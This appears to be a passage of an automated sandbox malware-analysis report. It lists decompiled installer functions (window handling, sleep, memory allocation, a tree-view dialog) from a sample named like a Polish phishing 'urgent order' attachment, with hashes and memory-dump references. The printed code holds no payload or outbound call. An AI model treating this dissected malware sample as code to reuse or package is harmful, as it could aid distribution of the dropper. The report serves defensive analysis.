                                                                                              • Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00403F00 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00403F00(int _a4) {
				int _t2;

				_t2 = EnableWindow( *0x41fd04, _a4); // executed
				return _t2;
			}




                                                                                              0x00403f0a
                                                                                              0x00403f10

                                                                                              APIs
                                                                                              • KiUserCallbackDispatcher.NTDLL(?,00403CDD), ref: 00403F0A
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CallbackDispatcherUser
                                                                                              • String ID:
                                                                                              • API String ID: 2492992576-0
                                                                                              • Opcode ID: 12c11760972377b051275edfb0549e2da63da5a0a3d5c66f9a0e944dd115ee42
                                                                                              • Instruction ID: 627edf876ec6fe827e8ded8b6e0f84c3e1bff33d3b07c91bc4a796ca35ff40dd
                                                                                              • Opcode Fuzzy Hash: 12c11760972377b051275edfb0549e2da63da5a0a3d5c66f9a0e944dd115ee42
                                                                                              • Instruction Fuzzy Hash: CAA00176808101ABCB029B50FF09D9ABF62ABA5705B028435E65694174C7325865FF1A
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E004014D6() {
				long _t2;
				void* _t6;
				void* _t10;

				_t2 = E00402A1D(_t6);
				if(_t2 <= 1) {
					_t2 = 1;
				}
				Sleep(_t2); // executed
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t10 - 4));
				return 0;
			}






                                                                                              0x004014d7
                                                                                              0x004014df
                                                                                              0x004014e3
                                                                                              0x004014e3
                                                                                              0x004014e5
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                              • Sleep.KERNELBASE(00000000), ref: 004014E5
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Sleep
                                                                                              • String ID:
                                                                                              • API String ID: 3472027048-0
                                                                                              • Opcode ID: faaa25f1f06cdb1d059934445d5023d073224a6f28801890f9ea55e9f0b31bdc
                                                                                              • Instruction ID: 9c89d06b59eba3ca4e7b2e7dbe410ddf5a45079d0a4e8d0192c1fc54d184d5ff
                                                                                              • Opcode Fuzzy Hash: faaa25f1f06cdb1d059934445d5023d073224a6f28801890f9ea55e9f0b31bdc
                                                                                              • Instruction Fuzzy Hash: A2D0C777B1454057D710E7B87E8545A63A9F7513253204937D502F1091D578C9059A29
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 10001215 Relevance: 1.3, APIs: 1, Instructions: 4memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E10001215() {
				void* _t1;

				_t1 = GlobalAlloc(0x40,  *0x1000405c); // executed
				return _t1;
			}




                                                                                              0x1000121d
                                                                                              0x10001223

                                                                                              APIs
                                                                                              • GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14152699490.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14152673493.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152730936.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152760294.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_10000000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: AllocGlobal
                                                                                              • String ID:
                                                                                              • API String ID: 3761449716-0
                                                                                              • Opcode ID: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
                                                                                              • Instruction ID: 35b308b173d9b0532f6cde55f5bface33093279d7ce3c78a2cc6db588f634b90
                                                                                              • Opcode Fuzzy Hash: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
                                                                                              • Instruction Fuzzy Hash: 6CA002B1945620DBFE429BE08D9EF1B3B25E748781F01C040E315641BCCA754010DF39
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Non-executed Functions

                                                                                              Function 0040488F Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 481windowmemoryCOMMONCrypto
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 96%
                                                                                              			E0040488F(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed char* _v28;
				long _v32;
				signed int _v40;
				long _v44;
				signed int* _v56;
				signed char* _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t192;
				int _t194;
				intOrPtr _t195;
				intOrPtr _t197;
				long _t201;
				signed int _t205;
				signed int _t216;
				void* _t219;
				void* _t220;
				int _t226;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t239;
				signed int _t241;
				signed char _t242;
				signed char _t248;
				void* _t252;
				void* _t254;
				signed char* _t270;
				signed char _t271;
				long _t273;
				long _t276;
				int _t277;
				int _t282;
				signed int _t283;
				long _t284;
				signed int _t287;
				signed int _t294;
				int _t295;
				int _t296;
				signed char* _t302;
				struct HWND__* _t306;
				int _t307;
				signed int* _t308;
				int _t309;
				long _t310;
				signed int _t311;
				void* _t313;
				long _t314;
				int _t315;
				signed int _t316;
				void* _t318;

				_t306 = _a4;
				_v12 = GetDlgItem(_t306, 0x3f9);
				_v8 = GetDlgItem(_t306, 0x408);
				_t318 = SendMessageA;
				_v20 =  *0x423728;
				_t282 = 0;
				_v24 =  *0x423710 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t285 = _a16;
					} else {
						_a12 = _t282;
						_t285 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t285;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t285 + 4)) == 0x408) {
							if(( *0x423719 & 0x00000002) != 0) {
								L41:
								if(_v16 != _t282) {
									_t231 = _v16;
									if( *((intOrPtr*)(_t231 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, _t282,  *(_t231 + 0x5c));
									}
									_t232 = _v16;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe6a) {
										_t285 = _v20;
										_t233 =  *(_t232 + 0x5c);
										if( *((intOrPtr*)(_t232 + 0xc)) != 2) {
											 *(_t233 * 0x418 + _t285 + 8) =  *(_t233 * 0x418 + _t285 + 8) & 0xffffffdf;
										} else {
											 *(_t233 * 0x418 + _t285 + 8) =  *(_t233 * 0x418 + _t285 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t285 = 0 | _a8 != 0x00000413;
								_t239 = E004047DD(_v8, _a8 != 0x413);
								_t311 = _t239;
								if(_t311 >= _t282) {
									_t88 = _v20 + 8; // 0x8
									_t285 = _t239 * 0x418 + _t88;
									_t241 =  *_t285;
									if((_t241 & 0x00000010) == 0) {
										if((_t241 & 0x00000040) == 0) {
											_t242 = _t241 ^ 0x00000001;
										} else {
											_t248 = _t241 ^ 0x00000080;
											if(_t248 >= 0) {
												_t242 = _t248 & 0x000000fe;
											} else {
												_t242 = _t248 | 0x00000001;
											}
										}
										 *_t285 = _t242;
										E0040117D(_t311);
										_a12 = _t311 + 1;
										_a16 =  !( *0x423718) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t285 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageA(_v8, 0x200, _t282, _t282);
							}
							if(_a8 == 0x40b) {
								_t219 =  *0x41fcec; // 0x0
								if(_t219 != _t282) {
									ImageList_Destroy(_t219);
								}
								_t220 =  *0x41fd00; // 0x0
								if(_t220 != _t282) {
									GlobalFree(_t220);
								}
								 *0x41fcec = _t282;
								 *0x41fd00 = _t282;
								 *0x423760 = _t282;
							}
							if(_a8 != 0x40f) {
								L88:
								if(_a8 == 0x420 && ( *0x423719 & 0x00000001) != 0) {
									_t307 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t307);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t307);
								}
								goto L91;
							} else {
								E004011EF(_t285, _t282, _t282);
								_t192 = _a12;
								if(_t192 != _t282) {
									if(_t192 != 0xffffffff) {
										_t192 = _t192 - 1;
									}
									_push(_t192);
									_push(8);
									E0040485D();
								}
								if(_a16 == _t282) {
									L75:
									E004011EF(_t285, _t282, _t282);
									_t194 =  *0x41fd00; // 0x0
									_v32 = _t194;
									_t195 =  *0x423728;
									_v60 = 0xf030;
									_v20 = _t282;
									if( *0x42372c <= _t282) {
										L86:
										InvalidateRect(_v8, _t282, "true");
										_t197 =  *0x422edc; // 0x707941
										if( *((intOrPtr*)(_t197 + 0x10)) != _t282) {
											E00404798(0x3ff, 0xfffffffb, E004047B0(5));
										}
										goto L88;
									}
									_t308 = _t195 + 8;
									do {
										_t201 =  *((intOrPtr*)(_v32 + _v20 * 4));
										if(_t201 != _t282) {
											_t287 =  *_t308;
											_v68 = _t201;
											_v72 = 8;
											if((_t287 & 0x00000001) != 0) {
												_v72 = 9;
												_v56 =  &(_t308[4]);
												_t308[0] = _t308[0] & 0x000000fe;
											}
											if((_t287 & 0x00000040) == 0) {
												_t205 = (_t287 & 0x00000001) + 1;
												if((_t287 & 0x00000010) != 0) {
													_t205 = _t205 + 3;
												}
											} else {
												_t205 = 3;
											}
											_v64 = (_t205 << 0x0000000b | _t287 & 0x00000008) + (_t205 << 0x0000000b | _t287 & 0x00000008) | _t287 & 0x00000020;
											SendMessageA(_v8, 0x1102, (_t287 >> 0x00000005 & 0x00000001) + 1, _v68);
											SendMessageA(_v8, 0x110d, _t282,  &_v72);
										}
										_v20 = _v20 + 1;
										_t308 =  &(_t308[0x106]);
									} while (_v20 <  *0x42372c);
									goto L86;
								} else {
									_t309 = E004012E2( *0x41fd00);
									E00401299(_t309);
									_t216 = 0;
									_t285 = 0;
									if(_t309 <= _t282) {
										L74:
										SendMessageA(_v12, 0x14e, _t285, _t282);
										_a16 = _t309;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v24 + _t216 * 4)) != _t282) {
											_t285 = _t285 + 1;
										}
										_t216 = _t216 + 1;
									} while (_t216 < _t309);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L91;
						} else {
							_t226 = SendMessageA(_v12, 0x147, _t282, _t282);
							if(_t226 == 0xffffffff) {
								goto L91;
							}
							_t310 = SendMessageA(_v12, 0x150, _t226, _t282);
							if(_t310 == 0xffffffff ||  *((intOrPtr*)(_v24 + _t310 * 4)) == _t282) {
								_t310 = 0x20;
							}
							E00401299(_t310);
							SendMessageA(_a4, 0x420, _t282, _t310);
							_a12 = _a12 | 0xffffffff;
							_a16 = _t282;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v32 = 0;
					_v16 = 2;
					 *0x423760 = _t306;
					 *0x41fd00 = GlobalAlloc(0x40,  *0x42372c << 2);
					_t252 = LoadBitmapA( *0x423700, 0x6e);
					 *0x41fcf4 =  *0x41fcf4 | 0xffffffff;
					_t313 = _t252;
					 *0x41fcfc = SetWindowLongA(_v8, 0xfffffffc, E00404E86);
					_t254 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x41fcec = _t254;
					ImageList_AddMasked(_t254, _t313, 0xff00ff);
					SendMessageA(_v8, 0x1109, 2,  *0x41fcec);
					if(SendMessageA(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageA(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t313);
					_t314 = 0;
					do {
						_t260 =  *((intOrPtr*)(_v24 + _t314 * 4));
						if( *((intOrPtr*)(_v24 + _t314 * 4)) != _t282) {
							if(_t314 != 0x20) {
								_v16 = _t282;
							}
							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, _t282, E00405D1B(_t282, _t314, _t318, _t282, _t260)), _t314);
						}
						_t314 = _t314 + 1;
					} while (_t314 < 0x21);
					_t315 = _a16;
					_t283 = _v16;
					_push( *((intOrPtr*)(_t315 + 0x30 + _t283 * 4)));
					_push(0x15);
					E00403EDE(_a4);
					_push( *((intOrPtr*)(_t315 + 0x34 + _t283 * 4)));
					_push(0x16);
					E00403EDE(_a4);
					_t316 = 0;
					_t284 = 0;
					if( *0x42372c <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t302 = _v20 + 8;
						_v28 = _t302;
						do {
							_t270 =  &(_t302[0x10]);
							if( *_t270 != 0) {
								_v60 = _t270;
								_t271 =  *_t302;
								_t294 = 0x20;
								_v84 = _t284;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t294;
								_v40 = _t316;
								_v68 = _t271 & _t294;
								if((_t271 & 0x00000002) == 0) {
									if((_t271 & 0x00000004) == 0) {
										_t273 = SendMessageA(_v8, 0x1100, 0,  &_v84);
										_t295 =  *0x41fd00; // 0x0
										 *(_t295 + _t316 * 4) = _t273;
									} else {
										_t284 = SendMessageA(_v8, 0x110a, 3, _t284);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t276 = SendMessageA(_v8, 0x1100, 0,  &_v84);
									_t296 =  *0x41fd00; // 0x0
									_v32 = 1;
									 *(_t296 + _t316 * 4) = _t276;
									_t277 =  *0x41fd00; // 0x0
									_t284 =  *(_t277 + _t316 * 4);
								}
							}
							_t316 = _t316 + 1;
							_t302 =  &(_v28[0x418]);
							_v28 = _t302;
						} while (_t316 <  *0x42372c);
						if(_v32 != 0) {
							L20:
							if(_v16 != 0) {
								E00403F13(_v8);
								_t282 = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00403F13(_v12);
								L91:
								return E00403F45(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}


































































                                                                                              0x0040489e
                                                                                              0x004048af
                                                                                              0x004048b4
                                                                                              0x004048bc
                                                                                              0x004048c2
                                                                                              0x004048ca
                                                                                              0x004048d8
                                                                                              0x004048db
                                                                                              0x00404afb
                                                                                              0x00404b02
                                                                                              0x00404b16
                                                                                              0x00404b04
                                                                                              0x00404b06
                                                                                              0x00404b09
                                                                                              0x00404b0a
                                                                                              0x00404b11
                                                                                              0x00404b11
                                                                                              0x00404b22
                                                                                              0x00404b30
                                                                                              0x00404b33
                                                                                              0x00404b49
                                                                                              0x00404bbe
                                                                                              0x00404bc1
                                                                                              0x00404bc3
                                                                                              0x00404bcd
                                                                                              0x00404bdb
                                                                                              0x00404bdb
                                                                                              0x00404bdd
                                                                                              0x00404be7
                                                                                              0x00404bed
                                                                                              0x00404bf0
                                                                                              0x00404bf3
                                                                                              0x00404c0e
                                                                                              0x00404bf5
                                                                                              0x00404bff
                                                                                              0x00404bff
                                                                                              0x00404bf3
                                                                                              0x00404be7
                                                                                              0x00000000
                                                                                              0x00404bc1
                                                                                              0x00404b4e
                                                                                              0x00404b59
                                                                                              0x00404b5e
                                                                                              0x00404b65
                                                                                              0x00404b6a
                                                                                              0x00404b6e
                                                                                              0x00404b79
                                                                                              0x00404b79
                                                                                              0x00404b7d
                                                                                              0x00404b81
                                                                                              0x00404b85
                                                                                              0x00404b98
                                                                                              0x00404b87
                                                                                              0x00404b87
                                                                                              0x00404b8e
                                                                                              0x00404b94
                                                                                              0x00404b90
                                                                                              0x00404b90
                                                                                              0x00404b90
                                                                                              0x00404b8e
                                                                                              0x00404b9c
                                                                                              0x00404b9e
                                                                                              0x00404bb1
                                                                                              0x00404bb4
                                                                                              0x00404bb7
                                                                                              0x00404bb7
                                                                                              0x00404b81
                                                                                              0x00000000
                                                                                              0x00404b6e
                                                                                              0x00404b50
                                                                                              0x00404b57
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00404c11
                                                                                              0x00404c11
                                                                                              0x00404c18
                                                                                              0x00404c89
                                                                                              0x00404c91
                                                                                              0x00404c99
                                                                                              0x00404c99
                                                                                              0x00404ca2
                                                                                              0x00404ca4
                                                                                              0x00404cab
                                                                                              0x00404cae
                                                                                              0x00404cae
                                                                                              0x00404cb4
                                                                                              0x00404cbb
                                                                                              0x00404cbe
                                                                                              0x00404cbe
                                                                                              0x00404cc4
                                                                                              0x00404cca
                                                                                              0x00404cd0
                                                                                              0x00404cd0
                                                                                              0x00404cdd
                                                                                              0x00404e33
                                                                                              0x00404e3a
                                                                                              0x00404e57
                                                                                              0x00404e5d
                                                                                              0x00404e6f
                                                                                              0x00404e6f
                                                                                              0x00000000
                                                                                              0x00404ce3
                                                                                              0x00404ce5
                                                                                              0x00404cea
                                                                                              0x00404cef
                                                                                              0x00404cf4
                                                                                              0x00404cf6
                                                                                              0x00404cf6
                                                                                              0x00404cf7
                                                                                              0x00404cf8
                                                                                              0x00404cfa
                                                                                              0x00404cfa
                                                                                              0x00404d02
                                                                                              0x00404d43
                                                                                              0x00404d45
                                                                                              0x00404d4a
                                                                                              0x00404d55
                                                                                              0x00404d58
                                                                                              0x00404d5d
                                                                                              0x00404d64
                                                                                              0x00404d67
                                                                                              0x00404e09
                                                                                              0x00404e0f
                                                                                              0x00404e15
                                                                                              0x00404e1d
                                                                                              0x00404e2e
                                                                                              0x00404e2e
                                                                                              0x00000000
                                                                                              0x00404e1d
                                                                                              0x00404d6d
                                                                                              0x00404d70
                                                                                              0x00404d76
                                                                                              0x00404d7b
                                                                                              0x00404d7d
                                                                                              0x00404d7f
                                                                                              0x00404d85
                                                                                              0x00404d8c
                                                                                              0x00404d91
                                                                                              0x00404d98
                                                                                              0x00404d9b
                                                                                              0x00404d9b
                                                                                              0x00404da2
                                                                                              0x00404dae
                                                                                              0x00404db2
                                                                                              0x00404db4
                                                                                              0x00404db4
                                                                                              0x00404da4
                                                                                              0x00404da6
                                                                                              0x00404da6
                                                                                              0x00404dd4
                                                                                              0x00404de0
                                                                                              0x00404def
                                                                                              0x00404def
                                                                                              0x00404df1
                                                                                              0x00404df4
                                                                                              0x00404dfd
                                                                                              0x00000000
                                                                                              0x00404d04
                                                                                              0x00404d0f
                                                                                              0x00404d12
                                                                                              0x00404d17
                                                                                              0x00404d19
                                                                                              0x00404d1d
                                                                                              0x00404d2d
                                                                                              0x00404d37
                                                                                              0x00404d39
                                                                                              0x00404d3c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00404d1f
                                                                                              0x00404d1f
                                                                                              0x00404d25
                                                                                              0x00404d27
                                                                                              0x00404d27
                                                                                              0x00404d28
                                                                                              0x00404d29
                                                                                              0x00000000
                                                                                              0x00404d1f
                                                                                              0x00404d02
                                                                                              0x00404cdd
                                                                                              0x00404c20
                                                                                              0x00000000
                                                                                              0x00404c36
                                                                                              0x00404c40
                                                                                              0x00404c45
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00404c57
                                                                                              0x00404c5c
                                                                                              0x00404c68
                                                                                              0x00404c68
                                                                                              0x00404c6a
                                                                                              0x00404c79
                                                                                              0x00404c7b
                                                                                              0x00404c7f
                                                                                              0x00404c82
                                                                                              0x00000000
                                                                                              0x00404c82
                                                                                              0x00404c20
                                                                                              0x004048e1
                                                                                              0x004048e6
                                                                                              0x004048ef
                                                                                              0x004048f6
                                                                                              0x00404904
                                                                                              0x0040490f
                                                                                              0x00404915
                                                                                              0x00404923
                                                                                              0x00404937
                                                                                              0x0040493c
                                                                                              0x00404949
                                                                                              0x0040494e
                                                                                              0x00404964
                                                                                              0x00404975
                                                                                              0x00404982
                                                                                              0x00404982
                                                                                              0x00404985
                                                                                              0x0040498b
                                                                                              0x0040498d
                                                                                              0x00404990
                                                                                              0x00404995
                                                                                              0x0040499a
                                                                                              0x0040499c
                                                                                              0x0040499c
                                                                                              0x004049bc
                                                                                              0x004049bc
                                                                                              0x004049be
                                                                                              0x004049bf
                                                                                              0x004049c4
                                                                                              0x004049c7
                                                                                              0x004049ca
                                                                                              0x004049ce
                                                                                              0x004049d3
                                                                                              0x004049d8
                                                                                              0x004049dc
                                                                                              0x004049e1
                                                                                              0x004049e6
                                                                                              0x004049e8
                                                                                              0x004049f0
                                                                                              0x00404aba
                                                                                              0x00404acd
                                                                                              0x00000000
                                                                                              0x004049f6
                                                                                              0x004049f9
                                                                                              0x004049fc
                                                                                              0x004049ff
                                                                                              0x004049ff
                                                                                              0x00404a05
                                                                                              0x00404a0b
                                                                                              0x00404a0e
                                                                                              0x00404a14
                                                                                              0x00404a15
                                                                                              0x00404a1a
                                                                                              0x00404a23
                                                                                              0x00404a2a
                                                                                              0x00404a2d
                                                                                              0x00404a30
                                                                                              0x00404a33
                                                                                              0x00404a6f
                                                                                              0x00404a90
                                                                                              0x00404a92
                                                                                              0x00404a98
                                                                                              0x00404a71
                                                                                              0x00404a7e
                                                                                              0x00404a7e
                                                                                              0x00404a35
                                                                                              0x00404a38
                                                                                              0x00404a47
                                                                                              0x00404a51
                                                                                              0x00404a53
                                                                                              0x00404a59
                                                                                              0x00404a60
                                                                                              0x00404a63
                                                                                              0x00404a68
                                                                                              0x00404a68
                                                                                              0x00404a33
                                                                                              0x00404a9e
                                                                                              0x00404a9f
                                                                                              0x00404aab
                                                                                              0x00404aab
                                                                                              0x00404ab8
                                                                                              0x00404ad3
                                                                                              0x00404ad7
                                                                                              0x00404af4
                                                                                              0x00404af9
                                                                                              0x00000000
                                                                                              0x00404ad9
                                                                                              0x00404ade
                                                                                              0x00404ae7
                                                                                              0x00404e71
                                                                                              0x00404e83
                                                                                              0x00404e83
                                                                                              0x00404ad7
                                                                                              0x00000000
                                                                                              0x00404ab8
                                                                                              0x004049f0

                                                                                              APIs
                                                                                              • GetDlgItem.USER32(?,000003F9), ref: 004048A7
                                                                                              • GetDlgItem.USER32(?,00000408), ref: 004048B2
                                                                                              • GlobalAlloc.KERNEL32(00000040,?), ref: 004048FC
                                                                                              • LoadBitmapA.USER32(0000006E), ref: 0040490F
                                                                                              • SetWindowLongA.USER32(?,000000FC,00404E86), ref: 00404928
                                                                                              • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040493C
                                                                                              • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 0040494E
                                                                                              • SendMessageA.USER32(?,00001109,00000002), ref: 00404964
                                                                                              • SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404970
                                                                                              • SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404982
                                                                                              • DeleteObject.GDI32(00000000), ref: 00404985
                                                                                              • SendMessageA.USER32(?,00000143,00000000,00000000), ref: 004049B0
                                                                                              • SendMessageA.USER32(?,00000151,00000000,00000000), ref: 004049BC
                                                                                              • SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A51
                                                                                              • SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404A7C
                                                                                              • SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A90
                                                                                              • GetWindowLongA.USER32(?,000000F0), ref: 00404ABF
                                                                                              • SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404ACD
                                                                                              • ShowWindow.USER32(?,00000005), ref: 00404ADE
                                                                                              • SendMessageA.USER32(?,00000419,00000000,?), ref: 00404BDB
                                                                                              • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404C40
                                                                                              • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404C55
                                                                                              • SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404C79
                                                                                              • SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404C99
                                                                                              • ImageList_Destroy.COMCTL32(00000000), ref: 00404CAE
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 00404CBE
                                                                                              • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404D37
                                                                                              • SendMessageA.USER32(?,00001102,?,?), ref: 00404DE0
                                                                                              • SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404DEF
                                                                                              • InvalidateRect.USER32(?,00000000,?), ref: 00404E0F
                                                                                              • ShowWindow.USER32(?,00000000), ref: 00404E5D
                                                                                              • GetDlgItem.USER32(?,000003FE), ref: 00404E68
                                                                                              • ShowWindow.USER32(00000000), ref: 00404E6F
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                                                              • String ID: $Ayp$M$N
                                                                                              • API String ID: 1638840714-433689441
